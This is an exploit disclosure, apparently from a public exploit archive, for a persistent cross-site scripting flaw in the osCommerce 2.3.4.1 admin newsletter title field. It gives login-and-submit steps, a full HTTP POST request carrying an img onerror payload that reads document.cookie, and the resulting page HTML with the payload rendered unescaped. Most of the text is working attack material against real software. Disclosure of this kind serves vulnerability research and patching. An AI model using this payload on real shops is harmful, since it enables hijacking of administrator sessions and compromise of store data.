osCommerce 2.3.4.1 Cross Site Scripting

`# Exploit Title: osCommerce 2.3.4.1 - 'title' Persistent Cross-Site Scripting  
# Date: 2020-11-19  
# Exploit Author: Emre Aslan  
# Vendor Homepage: https://www.oscommerce.com/  
# Version: 2.3.4.1  
# Tested on: Windows & XAMPP  
  
==> Tutorial <==  
  
1- Login to admin panel.  
2- Go to the following url. ==> http(s)://(HOST)/catalog/admin/newsletters.php?action=new  
3- Enter the XSS payload into the title section and save it.  
  
==> Vulnerable Parameter <==  
  
title= (post parameter)  
  
==> HTTP Request <==  
  
POST /catalog/admin/newsletters.php?action=insert HTTP/1.1  
Host: (HOST)  
Connection: keep-alive  
Content-Length: 123  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: http://(HOST)/  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: http://(HOST)/catalog/admin/newsletters.php?action=new  
Accept-Encoding: gzip, deflate, br  
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7  
Cookie: osCAdminID=s11ou44m0vrasducn78c6sg  
  
module=newsletter&title="><img src=1 href=1 onerror="javascript:alert(document.cookie)"></img>&content=xss  
  
==> Vulnerable Source Code <==  
  
<div id="contentText">  
<table border="0" width="100%" cellspacing="0" cellpadding="2">  
<tr>  
<td><table border="0" width="100%" cellspacing="0" cellpadding="0">  
<tr>  
<td class="pageHeading">Newsletter Manager</td>  
<td class="pageHeading" align="right"><img src="images/pixel_trans.gif" border="0" alt="" width="57" height="40" /></td>  
</tr>  
</table></td>  
</tr>  
<tr>  
<td><table border="0" width="100%" cellspacing="0" cellpadding="0">  
<tr>  
<td valign="top"><table border="0" width="100%" cellspacing="0" cellpadding="2">  
<tr class="dataTableHeadingRow">  
<td class="dataTableHeadingContent">Newsletters</td>  
<td class="dataTableHeadingContent" align="right">Size</td>  
<td class="dataTableHeadingContent" align="right">Module</td>  
<td class="dataTableHeadingContent" align="center">Sent</td>  
<td class="dataTableHeadingContent" align="center">Status</td>  
<td class="dataTableHeadingContent" align="right">Action&nbsp;</td>  
</tr>  
<tr id="defaultSelected" class="dataTableRowSelected" onmouseover="rowOverEffect(this)" onmouseout="rowOutEffect(this)" onclick="document.location.href='http://127.0.0.1:8080/oscommerce-2.3.4.1/catalog/admin/newsletters.php?page=1&nID=2&action=preview'">  
<td class="dataTableContent"><a href="http://127.0.0.1:8080/oscommerce-2.3.4.1/catalog/admin/newsletters.php?page=1&nID=2&action=preview"><img src="images/icons/preview.gif" border="0" alt="Preview" title="Preview" /></a>&nbsp;"><img src=1 href=1 onerror="javascript:alert(document.cookie)"></img></td>  
<td class="dataTableContent" align="right">3 bytes</td>  
<td class="dataTableContent" align="right">newsletter</td>  
<td class="dataTableContent" align="center"><img src="images/icons/cross.gif" border="0" alt="False" title="False" /></td>  
<td class="dataTableContent" align="center"><img src="images/icons/unlocked.gif" border="0" alt="Unlocked" title="Unlocked" /></td>  
<td class="dataTableContent" align="right"><img src="images/icon_arrow_right.gif" border="0" alt="" />&nbsp;</td>  
</tr>  
<tr class="dataTableRow" onmouseover="rowOverEffect(this)" onmouseout="rowOutEffect(this)" onclick="document.location.href='http://127.0.0.1:8080/oscommerce-2.3.4.1/catalog/admin/newsletters.php?page=1&nID=1'">  
<td class="dataTableContent"><a href="http://127.0.0.1:8080/oscommerce-2.3.4.1/catalog/admin/newsletters.php?page=1&nID=1&action=preview"><img src="images/icons/preview.gif" border="0" alt="Preview" title="Preview" /></a>&nbsp;"><img src=1 href=1 onerror="javascript:alert(1)"></img></td>  
<td class="dataTableContent" align="right">7 bytes</td>  
<td class="dataTableContent" align="right">newsletter</td>  
<td class="dataTableContent" align="center"><img src="images/icons/cross.gif" border="0" alt="False" title="False" /></td>  
<td class="dataTableContent" align="center"><img src="images/icons/unlocked.gif" border="0" alt="Unlocked" title="Unlocked" /></td>  
<td class="dataTableContent" align="right"><a href="http://127.0.0.1:8080/oscommerce-2.3.4.1/catalog/admin/newsletters.php?page=1&nID=1"><img src="images/icon_info.gif" border="0" alt="Info" title="Info" /></a>&nbsp;</td>  
</tr>  
<tr>  
<td colspan="6"><table border="0" width="100%" cellspacing="0" cellpadding="2">  
<tr>  
<td class="smallText" valign="top">Displaying <strong>1</strong> to <strong>2</strong> (of <strong>2</strong> newsletters)</td>  
<td class="smallText" align="right">Page 1 of 1</td>  
</tr>  
<tr>  
<td class="smallText" align="right" colspan="2"><span class="tdbLink"><a id="tdb1" href="http://127.0.0.1:8080/oscommerce-2.3.4.1/catalog/admin/newsletters.php?action=new">New Newsletter</a></span><script type="text/javascript">$("#tdb1").button({icons:{primary:"ui-icon-plus"}}).addClass("ui-priority-secondary").parent().removeClass("tdbLink");</script></td>  
</tr>  
</table></td>  
</tr>  
</table></td>  
<td width="25%" valign="top">  
<table border="0" width="100%" cellspacing="0" cellpadding="2">  
<tr class="infoBoxHeading">  
<td class="infoBoxHeading"><strong>"><img src=1 href=1 onerror="javascript:alert(document.cookie)"></img></strong></td>  
</tr>  
</table>  
<table border="0" width="100%" cellspacing="0" cellpadding="2">  
<tr>  
<td align="center" class="infoBoxContent"><span class="tdbLink"><a id="tdb2" href="http://127.0.0.1:8080/oscommerce-2.3.4.1/catalog/admin/newsletters.php?page=1&nID=2&action=preview">Preview</a></span><script type="text/javascript">$("#tdb2").button({icons:{primary:"ui-icon-document"}}).addClass("ui-priority-secondary").parent().removeClass("tdbLink");</script><span class="tdbLink"><a id="tdb3" href="http://127.0.0.1:8080/oscommerce-2.3.4.1/catalog/admin/newsletters.php?page=1&nID=2&action=lock">Lock</a></span><script type="text/javascript">$("#tdb3").button({icons:{primary:"ui-icon-locked"}}).addClass("ui-priority-secondary").parent().removeClass("tdbLink");</script></td>  
</tr>  
<tr>  
<td class="infoBoxContent"><br />Date Added: 11/19/2020</td>  
</tr>  
</table>  
</td>  
</tr>  
</table></td>  
</tr>  
</table>  
</div>  
`